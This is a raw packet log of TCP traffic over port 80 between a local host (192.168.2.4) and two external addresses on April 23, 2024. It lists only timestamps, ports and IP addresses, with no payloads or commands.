Apr 23, 2024 09:38:06.677275896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677278042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677305937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677305937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677337885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677337885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677352905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677355051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677371025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677381992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677401066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677417994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677443027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677496910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677575111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677591085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677608013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677613020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677640915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677647114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677669048 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677686930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677778959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677795887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677812099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677815914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677835941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677845001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677855015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677884102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677916050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677932978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677948952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677956104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677964926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677974939 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.677980900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.677994013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678019047 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678036928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678092957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678112030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678133011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678148985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678164005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678172112 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678179979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678196907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678206921 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678208113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678208113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678214073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678230047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678234100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678246975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678252935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678262949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678282976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678282976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678323030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678344011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678359985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678375959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678391933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678395033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678407907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678422928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678426981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678438902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678455114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678457975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678469896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678472996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678486109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678513050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678529978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678613901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678630114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678643942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678658962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678659916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678677082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678692102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678706884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678709984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678729057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678746939 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678749084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678766012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678775072 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678782940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678790092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678800106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678808928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678817034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678828001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678833008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678848028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678850889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678864002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678865910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678879023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678883076 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678894997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678900957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678911924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678927898 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678944111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678939104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678958893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678963900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678973913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.678989887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.678991079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679008007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679016113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679023981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679039955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679045916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679069042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679094076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679110050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679126024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679126978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679141998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679157972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679179907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679183960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679200888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679207087 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679217100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679245949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679265976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679301977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679317951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679332972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679337978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679348946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679364920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679367065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679385900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679399014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679447889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679464102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679478884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679491043 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679523945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679600954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679616928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679634094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679641962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679650068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679666042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679675102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679682016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.679702997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.679730892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.784282923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784346104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784382105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784419060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784455061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784486055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.784495115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784533024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.784535885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.784579039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.784621954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.908130884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908210039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908221006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908247948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908255100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908284903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908288956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908320904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908323050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908356905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908360958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908391953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908392906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908430099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908437967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908464909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908485889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908499002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908504009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908536911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908540964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908572912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908576965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908607960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908611059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908644915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908648014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908683062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908684969 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908721924 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908735037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908771038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908773899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908807039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908840895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908857107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908870935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908875942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908885956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908912897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908919096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908951044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.908956051 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.908987045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909003019 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909022093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909035921 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909059048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909081936 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909094095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909105062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909130096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909138918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909163952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909174919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909200907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909205914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909235954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909243107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909269094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909276009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909303904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909310102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909337997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909343958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909375906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909380913 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909410000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909411907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909444094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909446955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909480095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909482956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909516096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909523964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909553051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909557104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909588099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909590006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909622908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909651041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909657955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909676075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909693003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909694910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909729958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909733057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909765005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909766912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909800053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909801960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909833908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909837008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909869909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909873962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909904003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909907103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909940004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909940958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.909975052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.909976006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910012960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910012960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910048008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910048962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910083055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910085917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910119057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910119057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910156012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910161018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910192966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910212994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910227060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910228968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910262108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910267115 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910298109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910299063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910334110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910337925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910371065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910372972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910407066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910408974 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910443068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910445929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910476923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910479069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910511971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910532951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910547018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910552979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910582066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910584927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910617113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910666943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910700083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910734892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910773039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910808086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.910808086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910842896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910877943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910917997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910958052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.910995960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911026001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911030054 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911066055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911075115 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911108971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911118984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911144018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911151886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911180973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911185980 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911217928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911221027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911253929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911257029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911288023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911295891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.911324024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.911324978 CEST	49734	80	192.168.2.4	176.97.76.106
